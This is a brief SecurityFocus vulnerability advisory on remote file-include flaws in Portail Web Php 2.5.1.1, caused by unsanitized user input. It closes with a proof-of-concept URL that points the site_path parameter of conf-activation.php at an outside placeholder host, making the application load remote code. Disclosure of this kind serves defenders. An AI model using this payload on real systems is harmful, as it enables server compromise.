source: http://www.securityfocus.com/bid/27616/info

Portail Web Php is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect Portail Web Php 2.5.1.1; other versions may also be affected. 

http://www.example.com/path/admin/system/config/conf-activation.php?site_path=http://www.example2.com